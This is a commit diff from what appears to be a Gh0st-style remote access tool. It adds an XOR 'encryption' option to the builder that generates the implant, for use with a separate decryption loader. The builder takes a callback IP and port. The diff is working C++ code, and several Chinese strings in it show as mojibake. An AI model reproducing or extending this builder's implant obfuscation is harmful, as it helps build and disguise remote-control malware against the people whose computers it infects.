feat: Support XOR encrypt for generating service

ReadMe.md

@@ -301,6 +301,8 @@ reorg: Move commands to common/commands.h
 
 在动态链接库中增加导出函数Run，以便通过rundll32.exe调用动态链接库。这种形式也是支持在线对DLL进行升级的。
 
+2024.12.31
+生成服务时增加加密选项，当前支持XOR加密。配合使用解密程序来加载加密后的服务。
 
 
 # 沟通反馈

common/commands.h

@@ -2,6 +2,7 @@
 
 #include <vcruntime_string.h>
 #include <string.h>
+#include <vector>
 
 #ifndef _MAX_PATH
 #define _MAX_PATH 260
@@ -198,3 +199,11 @@ typedef struct  LOGIN_INFOR
 		strcpy_s(moduleVersion, DLL_VERSION);
 	}
 }LOGIN_INFOR;
+
+inline void xor_encrypt_decrypt(unsigned char *data, int len, const std::vector<char>& keys) {
+	for (char key : keys) {
+		for (int i = 0; i < len; ++i) {
+			data[i] ^= key;
+		}
+	}
+}

server/2015Remote/BuildDlg.cpp

@@ -31,6 +31,7 @@ void CBuildDlg::DoDataExchange(CDataExchange* pDX)
 	DDX_Text(pDX, IDC_EDIT_IP, m_strIP);
 	DDX_Text(pDX, IDC_EDIT_PORT, m_strPort);
 	DDX_Control(pDX, IDC_COMBO_EXE, m_ComboExe);
+	DDX_Control(pDX, IDC_COMBO_ENCRYPT, m_ComboEncrypt);
 }
 
 
@@ -135,6 +136,7 @@ void CBuildDlg::OnBnClickedOk()
 			MessageBox(strSeverFile + "\r\n<EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>\"" + strSeverFile + "\"<EFBFBD><EFBFBD><EFBFBD><EFBFBD>ʧ<EFBFBD><EFBFBD>!");
 			return CDialog::OnOK();
 		}
+		Encrypt(szBuffer, dwFileSize, m_ComboEncrypt.GetCurSel());
 		File.Write(szBuffer, dwFileSize);
 		File.Close();
 		delete[] szBuffer;
@@ -182,6 +184,24 @@ BOOL CBuildDlg::OnInitDialog()
 	m_ComboExe.InsertString(CLIENT_TYPE_MODULE, "ServerDll.dll");
 	m_ComboExe.SetCurSel(0);
 
+	m_ComboEncrypt.InsertString(0, "<EFBFBD><EFBFBD>");
+	m_ComboEncrypt.InsertString(1, "XOR");
+	m_ComboEncrypt.SetCurSel(0);
+
 	return TRUE;  // return TRUE unless you set the focus to a control
 				  // <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
 }
+
+Buffer CBuildDlg::Encrypt(BYTE* buffer, int len, int method) {
+	switch (method)
+	{
+	case 0:// <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
+		break;
+	case 1: // XOR
+		xor_encrypt_decrypt(buffer, len, { 'G', 'H', 'O', 'S', 'T' });
+		break;
+	default:
+		break;
+	}
+	return Buffer();
+}

server/2015Remote/BuildDlg.h

@@ -1,5 +1,7 @@
 #pragma once
 
+#include "Buffer.h"
+
 
 // CBuildDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
 
@@ -23,5 +25,7 @@ public:
 	CString m_strPort;
 	afx_msg void OnBnClickedOk();
 	virtual BOOL OnInitDialog();
+	Buffer Encrypt(BYTE* buffer, int len, int method);
 	CComboBox m_ComboExe;
+	CComboBox m_ComboEncrypt;
 };